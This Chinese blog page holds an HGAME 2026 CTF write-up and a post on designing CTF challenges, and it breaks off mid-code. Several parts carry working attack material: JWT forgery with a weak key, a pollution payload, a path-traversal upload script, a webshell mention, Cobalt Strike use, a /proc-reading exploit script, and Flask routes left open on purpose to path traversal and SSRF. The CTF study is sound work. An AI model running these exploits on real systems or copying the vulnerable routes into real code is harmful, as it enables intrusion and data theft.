阅读视图

发现新文章,点击刷新页面。
🔲 ☆

HGAME 2026 WriteUp

很多题不会做,等题解出来在这里一并记录自己当时做题的思路和照着题解做题的过程。

一周目

魔理沙的魔法目录

观察网络控制台

看控制台发现网页每过一段时间向/record发请求(通过Authorization Header 来鉴权),再通过/check检查是否达到足够的时间。tracker.js被混淆了,就是一个黑盒。用 Postman 试试看。

通过 Postman 给接口发请求

接口并没有限制 time 的大小,那我们填大一点,发完请求在浏览器等一会 flag 就出来了。

答案自己就出来了

但如果挂机等一个小时的话应该也能做出来。

Vidarshop

我自己没做出来这一题。

什么你这卖的东西这么贵 什么为什么都用uid了用户名还要抢啊, 什么凭啥admin可以管我们所有人的钱啊

题目的题干

update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢

题目的提示

一开始看题目和登陆页面看感觉像是 SQLi,要直接登录到 admin 账号去管钱。注入试了两次之后发现能登录,登陆进去发现鉴权用的是 Bearer Token,token 为 JWT,用空密钥试了一下不行。然后对着/api/update接口调了半天,发现没用,睡觉。

第二天醒来接着看这道题,注册了一个用户名和 uid 都是 111 的账号,对着 JWT 解析出来的结果发呆。不知道想到什么了,试着把 111 输到密钥里,验证成功…是哪个地方有问题吗?为什么就验证成功了?我将 token 拿到工具里爆破了一下,工具给出结果:密钥还真是 111。

此时的我欣喜若狂

我猜想密钥应该和 uid 是一样的,因为 uid 也被放在 header 传给接口了。拿其他账号一试,我猜错了:是所有账号生成的 JWT 密钥都是 111 啊。这样就可以构造一个 admin 的 token 了。

然后用这个管理员的 token 在题目环境里试了试,知道了这些信息:

  • balance 貌似是所有用户的共有属性,前端的接口是假的(貌似就算用 admin 权限也无法修改,还没找到题目说的 admin 管钱是怎么管的)
  • 应用好像用 uid 来识别是否为管理员,ctf-token 来识别用户名(并且没有检验用户是否存在的逻辑)可以通过在接口请求的 body 里指定 username 来显示某个用户的 balance(虽然大家都共用同一个)
  • buy 接口能使 balance 实实在在地变少,但好像利用不了(没办法指定花的钱数,自然无法改为负数)

我又试了试,还是没有试出什么名堂来。题目归档之后,CopperKoi 同学把题解发给我,是我没见过的原型链污染。大概就是用前面伪造的 token 发请求到 /update 接口,payload 如下:

{"__init__": {"__globals__": {"balance": 2000000}}}

看样子题目确实是这么解的。

二周目

easyuu

很早以前玩虚拟空间的时候有部署过一个 PHP 文件就实现文件上传、查看、登录等功能,给我当时幼小的心灵带来一些震撼。

貌似发现了一个可以利用的接口

“uu是什么意思,很简单吗,分开来想想你就明白啦”,题干是这样说的。从同学口中得知,uu 是 upload & update 的意思。他还说,做题首先应该尝试拿到源码。我在题目环境的/app/update里发现了一个压缩包,像是源码,想着用download_file接口进行目录穿越下载下来又不行,浏览器好像会把../和链接的上一级进行“消消乐”。

要不要encode一下试试?

然后我就把源码的压缩包下载下来了。打开一看,Rust Cargo!

我将代码喂给 GitHub Copilot 和 Deepseek,Deepseek 给出一种可能的攻击方案:可以先在本地加恶意代码并编译,再通过上传接口将文件上传到/app/update(又是一个目录穿越),等代码自动更新之后拿到 flag。

import requests

url = "http://环境地址/api/upload_file"
files = {
    'file': ('../../../../app/update/easyuu', 
             open('target/x86_64-unknown-linux-musl/release/easyuu', 'rb'),
             'application/octet-stream')
}
response = requests.post(url, files=files)
print(response.status_code)
print(response.text)

但是没成功。上传文件这个接口的目录穿越可行。但自动更新这个机制能否利用不清楚,本地编译了几次,一直cargo clean cargo build --release --target x86_64-unknown-linux-musl,文件大小都是553928。估计编译出来的一直是老代码。

baby-web?

读附件的代码之后发现应用并没有限制 php 文件的上传,所以上传了一个一句话木马上去,然后用蚁剑连接。结果发现上传附件的文件夹只有我上传的文件,flag也不在文件系统当中。

HGAME 2026 WriteUp最先出现在林林杂语

🔲 ☆

记第一次为 CTF 比赛出题的经历和踩过的坑

起因

事情的起因是这样的,我们学校准备办一个什么IT科创嘉年华,然后想办一场名为“网安卫士”的比赛,所以理所应当地找到了我们学校的攻防工作室来出题,自然也就联系上了我

诶不是,有这等好事?那我当然要来掺和一脚嘛,顺带拉上了我们队的其他队员,我们一起为学校的比赛出题

筹备期

最开始告诉我们比赛的时间在 2025.4.25 - 2025.4.27,然后我们开了个在线文档就开始出题了,出题难度是这么跟我们说的

就是比 ADCTF 还要简单,要宝宝巴士难度,让我们弄一些能用常用工具一把梭的

但其实我已经有一些题目的雏形了,于是我先出了我的一道简单题

出题:Herta’s Voidterm

题目源码:https://github.com/GDUTMeow/Challenge-Hertas-Voidterm

这道题的玩法参考了 Hackergame 2024 的那个终端题(忘了叫啥了),我前些阵子把我网站的 404 页面换成了 Voidterm(随便访问一个不存在的页面你就能看到了),然后我当时在我的这个终端里面塞了 3+1 个 flag(原来是 3 个,后面加了一个),我想把这个拿来出题,于是就有了 MISC 题:Herta’s Voidterm

这道题目分成了三部分,我先把题目描述放在下面

你发现你一不小心获取到了黑塔女士的终端权限,于是你决定寻找一下黑塔女士的小秘密~

  • 据说环境中好像有什么不一样的东西?
  • 终端里面好像有个网址无法访问?
  • 好像有一张奇怪的图片诶?!

因为一开始就说了是宝宝巴士的难度,所以我第一个题目做的是 env 访问环境变量的解题方式,直接输入 env 查看环境变量就能看到 flag 了

这题我自认为确实是宝宝巴士难度,而且我给的提示够明显了

在考虑 flag 的内容的时候,我最开始想到的是小黑塔跟大黑塔编入同一队伍时会有的那个语音

小黑塔:黑塔女士举世无双,黑塔女士聪明绝顶,黑塔女士沉鱼落雁

然后我去搜了这个语音的英语原文,为

Herta: Madam Herta is a peerless gem. Madam Herta is an unrivalled genius. Madam Herta is an inimitable beauty.

然后简单 Leet 一下就有了第一个 flag

接着就开始考虑第二题,之前出那个自己网站上 +1 的题目的时候就想到了之前在 BaseCTF 上做过一道题目,给了一个域名但是无法访问,它那个题目把 flag 丢在了 txt 记录里面

所以我也学着做这样的一个题目,我把第二题的 flag 丢在了我的某个子域名上,然后把这个域名丢到了我这个模拟终端的 /etc/hosts 里面,于是你可以看到提示写的是 终端里面好像有个网址无法访问? ,使用 cat /etc/hosts 就能看到我这个域名了

1
100.100.100.100 th3-h3rt4.bili33.top

于是我就可以打成让参赛选手用 nslookup 或者 dig 查询域名来得到 flag 的方法

接着就来到了第三部分,既然是 MISC 题,肯定不能少了传统的隐写。而且之前大黑塔的 PV 里面有一个很可爱的 Chibi 黑塔

于是我就拿着这张图来做图片隐写,实现了一张图两用:修改高度和文件尾藏脏数据

又刚好在 ADCTF 做了 rkk 的 Black MIDI 那个题目,那个题目采用了 AES 的加密方式,于是我也想用 AES 的加密方式

所以我就把 key 和 iv 一个藏在文件尾,一个藏在 IHDR 高度爆破的底下,但是怎么给加密的数据呢?于是我想到了可以直接在第一题的 env 里面塞,然后我又把加密后的内容放在了 env 里面名为 SECRET 的变量中,细心的参赛选手一定能解出来吧 (*^▽^*)

消息不同步

本来我们商定的比赛时间是 2025.4.25 - 2025.4.27,是四人团队赛,结果发推文的时候跟我说变成两周了???(WTF两周还打什么团队赛啊),于是我们决定提升产能并上难度了

出题:Play CS with Me

题目相关附件:https://github.com/GDUTMeow/Challenge-Play-CS-with-Me

这题的灵感来源于西湖论剑的 CSCS,那个题目是 Cobalt Strike + Counter Strike 1.6,说实话我到现在都还没弄明白 ReHLDs 怎么用,但是不妨碍我出这类型的取证,我先把题目描述丢在下面

Luminoria 在看色图的时候电脑中招啦,黑客从他的电脑里面偷走了一些东西,请你找到黑客拿的东西吧(哦内该

  • 1、请你以木马的文件名(包括后缀)计算 md5 后,用 flag{} 包裹即为第一题的 flag
  • 2、请找到黑客拿走的日志文件,以其内容计算 md5 后,用 flag{} 包裹即为第二题的 flag
  • 3、请你找到 Luminroia 看的色图,色图即为 flag

如果黑客的木马文件名为 beacon.exe,则应该使用 beacon.exe 进行 md5 计算得到 c834b9aa0d91d8a309db78786b7e3a03,则这题的 flag 为 flag{c834b9aa0d91d8a309db78786b7e3a03}

假设从流量中提取到的文件为 abc.txt,里面的内容为

1
2
Hello World!!!
THIS IS AN EXAMPLE LOL

应该拿着此文件中的所有内容去计算 MD5,算得结果为 f9b80cd2e0116766a8729570cf036608,则包裹后为 flag{f9b80cd2e0116766a8729570cf036608} 即为本题的 flag

为了出这个取证,我先是去装了两台虚拟机(其实是装了一台,然后复制了),并且为了减少 Windows 系统自身的流量造成的干扰,我特意用了 Tiny11 来做这个题目的附件

然后我掏出了在我硬盘里吃灰的 Cobalt Strike,就开始出题了

本来我最开始的思路是只砍掉 ReHLDs 部分,所以我更换了 Cobalt Strike 的 key,结果我自己做的时候发现……

我!T!M!爆!不!出!来!私!钥!

那这宝宝巴士车更爆不出来了,所以我最后决定不更换这个 key,又因为我使用的 CS 是流传出来的一个版本,所以它的私钥是已知的,然后就省去了爆破的过程

1
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key

当参赛选手用 1768.py 分析的时候,就会出现上面这里最后写的 Has known private key,用 -V 参数就可以提取出来,变相降低难度了

我最后想的攻击链路是这样的:

给肉鸡配置 SSLKEY 导出 -> 肉鸡打开wireshark开始抓包 -> 肉鸡开始访问我放在 Cloudflare R2 上的含有 flag 的图片 -> 关闭抓包和浏览器 -> 攻击机生成 Beacon -> 再次打开肉鸡的 Wireshark 抓 CS 流量 -> 将 Beacon 复制到肉鸡并运行 -> 攻击机发送命令,下载文件

然后我也这么做了,实际操作也没什么问题(出了操作的次序出了问题然后我 retry 了好几次)

就在我自己做的时候,我发现一个问题:我导出来的访问 flag 图片的数据包中过滤 http 没有我的 flag 图啊喂!

我一开始以为是 Cloudflare 的问题,换了 Github Pages 来抓,结果还是没有,结果一看协议统计

这东西是 HTTP/2.0 流量!!!

好吧,HTTP/2.0 对参赛选手不是不能做,只是过滤参数从 HTTP 变成了 HTTP2 而已

于是这题就理所应当地出来了(坏笑٩(•̤̀ᵕ•̤́๑)ᵒᵏᵎᵎᵎᵎ

我把这题丢上了文档,并标注了三个 HARD 难度,等待这题能够爆零然后新生赛复用,诶嘿~☆

群里猫娘趣事

很快我们发现 web 题太少了,于是我们打算出点 web 题目,这个时候看到队友 Ron 的题目没起名字,于是我给了他一张图

你可以在我的 Telegram 频道中找到这张图:https://t.me/PaffChannel/2138

不过他好像没用上 =-=

Web 题都是简单题

很快 web 题就出来很多了,但是都标的 ez

于是我们决定给 web 题上点难度

升旗

没错,那一周刚好轮到我们计算机学院升旗了,还是周一(周一满课,早八高数)……好吧,睡个觉去

出题:你真的懂 Base 嘛

此时我发现我们 Crypto 没有题目,于是我打算来出第一题

题目内容如下

为什么我的 Base 是乱码?好像说来自一个小蓝鸟公司?还与 2 的 11 次方有关?最后还可以一把梭?

题目源码:https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base

因为说了要宝宝巴士难度,所以我想到先来个 Base

但是只有 Base 也太太太太太简单了,所以我要来点好玩的

恰巧之前看过 Twitter 有个 Base2048,然后 Basecrack 可以一把梭,于是我就把这两个东西给结合起来,整了个两步梭的 Base 题目

我先把 flag 通过 Base62 -> Base64 -> Base58 -> Ascii85 -> Base92 -> Base32(就只要是不会让 BaseCrack 产生误判的方式都用上了),然后再套一个 Base2048,就完活啦!

出题:Data Cleaning

因为现在的 MISC 题目有点往取证、数据安全和 Web3 的趋势了,所以我也想来弄点数据安全的题目,于是就有了这道题

题目源码:https://github.com/GDUTMeow/Challenge-DataCleaning

你的上司交给你了一份名单,这份名单是公司里面所有人员的个人信息,包含了以下内容,且有规则

  • 序号
  • 姓名:不能包含数字、字母
  • 性别:只有男/女
  • 身份证号:按照身份证号的校验规则合法
  • 用户名:只包含字母和数字,数字不能作为开头
  • 密码:随机生成的,题目保证一定不包含 , ' " 三个符号
  • 签名:对于每个用户都有一个RSA证书,对应序号保存在cert文件夹中,使用此证书对 用户名_密码_身份证号 进行签名(签名传入的字符串中如规则所述用了下划线连接,使用的是最为常见的填充方式,可以搜搜 Cryptographic Token Information Format Standard

现在老板发现这份名单中有些问题(即不满足以上条件),请你把不符合条件的序号挑出来,用下划线从小到大连接

例如,不合法的序号有 114 514 1919,则应该连接为 114_514_1919

最后用连接后的字符串进行 md5 运算(小写,32位)后得到的结果,使用 flag{} 包裹后提交

这道题我是直接上网找出题脚本然后用 Deepseek 改了一下的,问就是我懒狗,然后第一次 Deepseek 给我改的是用的 MGF1,然后我们测题的时候就反映做不出来

那当然了,MGF1 的参数也太麻烦了

然后就回去找到对话,让 DS 给我改成了用 PKCS1_15,这样也好猜一点,就有了这一题,然后我又在签名那里加了 Cryptographic Token Information Format Standard 的提示

为了让宝宝巴士能够宝宝一点,我真是费尽了心思(擦汗

出题:登录 PRTS 1

普瑞赛斯(Priestess)在 Abyss 中封禁了刀客塔在 PRTS 中的账号,身为刀客塔的你要想尽一切办法获取 PRTS 的权限(但是一定要登录刀客塔的账号吗?

本题构建容器所需要的时间较长,请提前点击构建容器按钮!

  • 刀客塔的账号密码
    • Username: VFTS352
    • Password: 48399110
  • 不要在意网站壁纸,找不到好看的 PRTS 图了

题目源码:https://github.com/GDUTMeow/Challenge-Login-PRTS

这道题主要是因为明日方舟更新了第十五章,然后第十五章里面我们跟牢普操纵的 PRTS 来了一场酣的战斗,然后我就想用舟舟的这个出一个题目

恰好之前暑假参加山石的三天训练营的时候,我做的那一道 Web 题是在 Cookie 塞的目录穿越,然后我就想弄一个目录穿越,但是不太明显的那种

最开始我的设定是在 Cookie 中有个 user 字段,更改 user 字段来返回不同的文件,所以我的代码一开始是这样写的

1
2
3
4
5
@app.route("/api/get_avatar", methods=["GET"])
def avatar_handler():
cookie = request.cookies
username = cookie.get("user")
return send_file("static/img/" + username + ".png")

但是我发现了一个问题,就是这样的话会固定带 .png 文件后缀,如果我输入的是 ../../../../../../etc/passwd 的话,会变成返回 static/img/../../../../../../etc/password.png,这是有问题的

所以我最后只能改成参数给 filename,变相的变简单了一点

1
2
3
4
@app.route("/api/get_avatar")
def avatar_handler():
file = request.args.get("filename")
return send_file("static/img/" + file)

这样就有了这道题的第一问

出题:登录 PRTS 2

本来这题没想出第二问的,但是但是,上面说到群里说 Web 都是简单题,然后我就在这题的基础上上难度了

本来是想照搬 VNCTF 的思维导图的那个玩法的,但是我队友说建议放在新生赛,所以只好作罢

而刚好在 CCSSSC2025 的初赛,有一题叫 CachedVisitor,跟思维导图那个题有异曲同工之妙,都是利用了 SSRF + dict 协议的玩法,所以我就按照这个玩法来出了这个第二题,又因为 SSRF + dict 的打法一般都是 Redis 通过 cron 反弹 shell,所以我就按照这个思路来了

首先我又加了一个路由,可以实现 SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@app.route("/api/get_resource", methods=["POST"])
def resource_handler():
try:
data = request.get_json()
target_url = data.get("url")
resp = requests.get(url)
return jsonify(
{
"code": 200,
"success": True,
"data": {
"url": target_url,
"content": resp.text
}
}
)
except Exception as e:
return jsonify(
{
"code": 500,
"success": False,
"data": {
"url": target_url,
"content": resp.text
}
}
)

然后很快我就发现一个问题,requests 库不支持 dict:// 协议,而 httpx 库也是一样的

于是我就去看有没有什么现成的库能够实现 Python3 对 dict:// 协议的支持,但是找到的基本都是 Python2 的

这时,我突然想起了我们平时用的 curl,我在想这东西有没有可能支持 dict:// 协议,然后我试了一下,果然可以,于是我的目标就转向了 curl

最开始我是用 os.popen 来运行 curl 的,但是好像有点问题,它会带着 curl 的那个请求时间什么的信息出来

1
2
3
4
5
>>> os.popen("curl https://baidu.com").read()
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 161 100 161 0 0 482 0 --:--:-- --:--:-- --:--:-- 487
'<html>\n<head><title>302 Found</title></head>\n<body bgcolor="white">\n<center><h1>302 Found</h1></center>\n<hr><center>bfe/1.0.8.18</center>\n</body>\n</html>\n'

然后我还得自己手动处理,这会变得比较麻烦,后面查了一下发现有个 pycurl 库可以用

于是就有了第二版的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
@app.route("/api/get_resource", methods=["POST"])
def resource_handler():
try:
data = request.get_json()
target_url = data.get("url")

# 移除所有协议和端口限制
parsed = urllib.parse.urlparse(target_url)

buffer = BytesIO()
c = pycurl.Curl()

# 全协议支持配置
c.setopt(pycurl.URL, target_url.encode("utf-8"))
c.setopt(pycurl.WRITEDATA, buffer)
c.setopt(pycurl.PROTOCOLS, pycurl.PROTO_ALL) # 允许所有协议
c.setopt(pycurl.SSL_VERIFYPEER, 0)
c.setopt(pycurl.SSL_VERIFYHOST, 0)
c.setopt(pycurl.TIMEOUT, 15)
c.setopt(pycurl.FOLLOWLOCATION, 1) # 允许重定向
c.setopt(pycurl.MAXREDIRS, 5)

# 特殊协议处理
if parsed.scheme == "file":
c.setopt(pycurl.UNRESTRICTED_AUTH, 1) # 允许本地文件访问
c.setopt(pycurl.PATH_AS_IS, 1) # 保留路径格式

# 执行请求
c.perform()

# 获取原始响应
content = buffer.getvalue().decode("utf-8", errors="replace")
status_code = c.getinfo(pycurl.RESPONSE_CODE)

# 统一响应格式
return jsonify(
{
"code": status_code,
"success": 200 <= status_code < 400 or status_code == 0,
"data": {"url": target_url, "content": content},
}
)

except pycurl.error as e:
return jsonify(
{
"code": 500,
"success": False,
"data": {"url": target_url, "content": f"CURL Error: {e.args[1]}"},
}
)

except Exception as e:
return jsonify(
{
"code": 500,
"success": False,
"data": {"url": target_url, "content": str(e)},
}
)

finally:
if "c" in locals():
c.close()
buffer.close()

然后不出意外地就出意外了,file 协议有问题,然后我就把 file 单拎出来处理了(直接 open,read,返回)

最后完成了我的题目代码,进入了调试阶段

第一题还是很正常的,到了第二题我发现了一个问题

他喵的为什么我的 shell 反弹不出来啊喂!!!

然后我去搜了一下这个玩法大伙都是怎么玩的,看到了这么一条东西

没错,这个玩法要 CentOS,只有 CentOS 会忽略 crontab 文件里面的错误,挑出正确的来执行

那——好吧,我去换个系统不就完事了呗

这不换不要紧,一换就出事了

CentOS 停更了呀喂!!!

就导致了我 Dockerfile 最开头的 yum 根本就装不到依赖,找了一下得把镜像源的域名改成 vault.centos.org 才行

搞定了镜像源,又遇到了 Python 版本的问题,CentOS 预装 Python 3.6,这东西太老了,我的 Werkzeug==2.1.2 在 3.6 根本就装不上,然后我想的是那我就弄一个现场编译 Python 3.9 的呗,但是还是依赖问题,编译频频出错,直到我找到了有现成的

https://github.com/indygreg/python-build-standalone/releases/download/20230726/cpython-3.9.17+20230726-x86_64-unknown-linux-gnu-install_only.tar.gz

于是我直接从这里下载,然后创建软链接,才解决了 Python 的问题,测试了一下,这题终于出好了……嘛?

出题:Dino

到了我们要差不多上题测试的时间了,我们逐渐发现 Web 题没有最简单的那种题——F12 查看 flag,于是我又去弄了这一题

Dino

来玩经典的小恐龙吧!

题目源码:https://github.com/GDUTMeow/Challenge-Dino

这里我本来想用 2048 的,但是 2048 的 js 和 css 什么的太多了,而且整个 html 的代码量是偏大的,不适合宝宝巴士

然后我突然想起来谷歌小恐龙,于是就拿着小恐龙的代码出了这一题,简单的文本替换而已

出题:ez_traffic

流量分析很简单哦!

原题附件:https://github.com/GDUTMeow/Challenge-eztraffic

这题本来没想出的,但是群里面当时大伙这样说

然后我就出了一道宝宝 traffic,我直接在我的电脑上开了个 Python 的 http.server,然后用我上面 CS 那道题的虚拟机抓的包,用这台机子访问我的 http.server 然后下载我含有 flag 的图片就搞定了

出题:为什么要演奏春日影!

为什么要演奏春日影!

Luminoria 听了春日影这首歌后,决定将 Soyo 的金句用工具写进春日影中,来帮助修复 Soyo 的心理阴影(真的修复了吗

最后 Luminoria 决定使用一个跟深度求索公司具有同样开头 Deep 的一个工具来将金句写入到春日影这首歌中

Soyo: (冲向 Saki 酱,抓住她的手)「拜托了,求求你,要是没有 Saki 酱的话,我就…」

Saki:「放开我 」

Soyo:(跪下来求)「要我怎样做你才肯回来,只要是我能做的,我什么都愿意做 」

Saki:(不屑)「你是抱着多大的觉悟说出这样的话的?」

「你只不过是一个学生,有办法背负他人的人生吗?」

「“什么都愿意做”就是这么沉重的话。不要这么随便说出口。 」

Soyo:「但是,我真的…」

Saki:(甩开手)「你这个人,满脑子只会想到自己呢」(走开 )

Soyo:(跪在原地)

天空中下起了小雨,睦头人看着 Soyo,一言不发

这题是因为刚好在听春日影

        

而且发现 MISC 题目里面没有音频隐写,于是就出了这个题目

最开始本来想在频谱图里面塞 flag 的, 但是没有找到怎么在频谱图里面塞(经典会做题不会出题了),所以没办法

然后我尝试使用 MP3Stego 和 SlientEye,但是不知道为什么,我用 ffmpeg 转换出来的 wav 音频丢进这两个软件都无法识别是 wav 文件,不是少这个就是少那个

后来我就用 Deepsound 了,直接把 flag 文件塞进去就完事了

本来还想给 Deepsound 设置密码,但是我发现 wav 的备注无法在文件属性里面显示,所以只能不塞密码了,刚好也是宝宝巴士了

出题:Data Analysis

原题附件:https://github.com/GDUTMeow/Challenge-Data-Analysis

所有数据均为随机生成

校验规范

  • 编号:纯数字,最后应该从小到大排列
  • 用户名:由数字、字母组成
  • 密码:密码 hash 值为 32 位小写 md5 值
  • 姓名:由全中文组成
  • 性别:只能为 或者 ,且身份证号中代表性别的那一位要对应上
  • 出生日期:由 8 位数字组成,和身份证号中的出生日期码保持一致
  • 身份证号:应该符合国家对于身份证号的校验规则,本题中提供的身份证号均符合规则
  • 手机号码为 11 位 10 进制数字字符串,前三位的号段限定在以下的集合中
    • 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799

题目要求

你应该将每一行都变成与表头相同的顺序排列,表头顺序为 编号, 用户名, 密码, 姓名, 性别, 出生日期, 身份证号, 手机号码,对应 number username password name gender birth id phone

例如,假设你拿到的数据为(下面数据为瞎编的)

1
2
3
4
编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码
Luminoria,79811451419,114514200002291919,20000229,小猪佩奇,1,男,e10adc3949ba59abbe56e057f20f883e
20050330,2,c4d038b4bed09fdb1471ef51ec3a32cd,7529876543,男,191981200503301155,刻晴,KeqingMoe

则最后你应该把数据变成这样

1
2
3
4
number,username,password,name,gender,birth,id,phone
1,Luminoria,e10adc3949ba59abbe56e057f20f883e,小猪佩奇,男,20000229,114514200002291919,79811451419
2,KeqingMoe,c4d038b4bed09fdb1471ef51ec3a32cd,刻晴,男,20050330,191981200503301155,7529876543

将数据以 UTF-8 编码方式保存后,确保最后含有一行空行,将文件内容进行 md5 运算,最后得到的值加上 flag{} 包裹即为最后的答案

注意

  • 你的换行应该使用 \n,你可以在调试的时候使用 print(repr(data)) 来确认这一点
  • 在你进行 md5 运算的文件内容中,最后有一个空行,就例如上面给你处理后的例子中,最后一行有一个空行
  • 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头

本来 DS 只有一道题目的,但是考虑到要每一批都至少有一个吧,所以就整多了两道 DS 的题目

这里的数据是用的 2024 羊城杯的数据(没办法它数据太好看了)

做法跟羊城杯的完全一致,出了没有验数据的平台和我把标头改了而已,因为一点不一样就会导致 md5 完全不一样,所以我对数据格式的要求也比较的严格

改了改就出了这道题目了

出题:Data from Log

原题附件:https://github.com/GDUTMeow/Challenge-Data-Analysis

所有数据均为随机生成

现在发生了一件很不幸的事情,数据库里面的数据丢失了,我们无法通过数据库来获取需要的内容,所幸的是,阿帕奇的 log 还在

题目要求

现在你需要做下面的这些事情

  • 首先,你得从日志中还原出各个用户输入的个人信息,他们包含了
    • 用户名:只能由字母和数字组成
      • 正确示例:adminLuminoriaKeqingMoeh3ll0World
      • 错误示例:ad_minZhang_san
    • 姓名:全中文
      • 正确示例:张三李四
      • 错误示例:z三李4
    • 身份证号:固定为 18 位,符合国家关于身份证的校验规则(本题不设置性别校验)
    • 手机号码:为 11 位数字字符串,其中前三位固定在下面的集合中
      • 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799
    • 密码:由数字和字母组成,没有符号
  • 接着,你要对数据进行脱敏
    • 用户名:若只有两个字符则只对最后⼀位使⽤ * 号代替,否则只保留第⼀位和最后⼀位字符,其余都⽤ * 号代替,例如“ab”脱敏后就是“a”,“abcde”脱敏后就是“a**e”。
    • 密码:对明文密码进行 md5 计算,例如 123456 计算后为 e10adc3949ba59abbe56e057f20f883e
    • 名字:⼆字姓名对最后⼀位使⽤ * 号代替,三字即以上姓名除第⼀位和最后⼀位以外都使⽤ * 号代替, 例如 张三 脱敏后就是 张*王不⼆ 脱敏后就是 王*⼆
    • 身份证号:只保留年份,其余都使⽤ * 号代替,例如 172865199108200356 脱敏后就是 ******1991********
    • 手机号码:对 4-7 位的地区编码使⽤ * 号代替,例如 74580417166 脱敏后就是 745****7166
  • 最后,你应该将脱敏后的所有数据按照 username, password, name, idcard, phone 对应 用户名、密码、名字、身份证号、手机号码 的顺序,将所有数据按照 UTF8 编码方式保存,文件的最后应该有一行空行
  • 表头应该为 username,password,name,idcard,phone

注意

  • 你的换行应该使用 \n,你可以在调试的时候使用 print(repr(data)) 来确认这一点
  • 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头

这题也是 2024 羊城杯的数据,而且是原题,我改都没改,要求都跟羊城杯的一致

还是因为每一批都要有一题,所以拿过来直接用,当然因为我懒没有写数据校验平台,所以就……嗯

出题:Is It Really Secure??

还是因为每一批都要有一题,所以我打算给取证加多一题

原题附件:https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure

这题用的是 FTP,因为 FTP 具有明文传输的特性,所以其数据流很容易就能分析,而且也很容易拿到里面的文件

我先用我的服务器搭了一个 FTP 服务

1
$ docker run -d -v /home/gamernotitle/docker/vsftpd:/home/vsftpd -v /var/log/vsftpd/:/var/log/vsftpd/ -p 20:20 -p 21:21 -p 20000:20000 -e FTP_USER=Luminoria -e FTP_PASS=my-Str0ng_p@55w0Rd -e PASV_MIN_PORT=20000 -e PASV_MAX_PORT=20000 -e PASV_ADDRESS=192.168.88.128 -e LOG_STDOUT=1 --name vsftpd --restart=always fauria/vsftpd

这样就可以打开这个 ftp 服务,但是我用抓流量专用机(上面 CS 的机子)抓的时候,发现一直会弹连接被重置,但是这是内网,所以肯定不是我网络的问题

然后我尝试了一下 Filezilla,看到了更详细的内容,它推荐我使用 PASV_MODE 试试,于是我把 PASV_MODE 打开了,就可以了

然后就是正常的抓流量环节

这次为了与第一题进行区分,我还加了伪加密 zip 包

我把 flag 的二维码丢在了 zip 里面,然后用 010 Editor 更改了标头,让这个 zip 包进入伪加密的状态,把伪加密破了就能出 flag 了

修题:登录 PRTS 2

起因是群里 rkk 说有一个更简单的做法

sekaictf-2024 的 exp 是这样写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import threading
import socket
from urllib.parse import urlparse

paths = ["/etc/passwd", "/proc/self/environ", "/proc/self/fd/20"]
pat = "HOSTNAME="

t = []


def req(url):
parsed_url = urlparse(url)
hostname = parsed_url.hostname
path = parsed_url.path if parsed_url.path else "/"
query = parsed_url.query
port = parsed_url.port if parsed_url.port else 80

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((hostname, port))

request_line = f"GET {path}?{query} HTTP/1.1\r\n"
headers = f"Host: {hostname}\r\nConnection: close\r\n\r\n"
request = request_line + headers

client_socket.sendall(request.encode())

response = b""
while True:
part = client_socket.recv(4096)
if not part:
break
response += part

client_socket.close()

response_text = response.decode()
header_end = response_text.find("\r\n\r\n")
body = response_text[header_end + 4 :]

return body


def check(url):
res = req(url)

if pat in res:
print(res)


def et(payload):
while True:
try:
check("http://localhost:1337/?file=" + payload)
except Exception as e:
print(e)


for i in range(5):
for p in paths:
t.append(threading.Thread(target=et, args=(p,)))

for i in t:
i.start()

而我当时出题的时候没有注意 /proc 这个特殊目录的问题,所以导致直接请求读取 /proc/self/environ 就能够出第二题的 flag

甚至甚至,拿着第一题的目录穿越任意文件读取都能够得到 flag,那这就是非预期解了,所以我加入了更多的权限校验,例如如果有 /proc 就直接 403,还有对普瑞赛斯的身份进行校验(下面是一个小片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route("/api/get_resource", methods=["POST"])
def resource_handler():
token = request.cookies.get("token")
if not token:
return redirect("/login")
try:
jwt_data = jwt.decode(
token,
app.config["SECRET_KEY"],
algorithms=["HS256"],
options={"verify_aud": False},
)
if jwt_data.get("sub") != "priestess":
return make_response("Permission Denied", 403)
except jwt.ExpiredSignatureError:
response = redirect("/login")
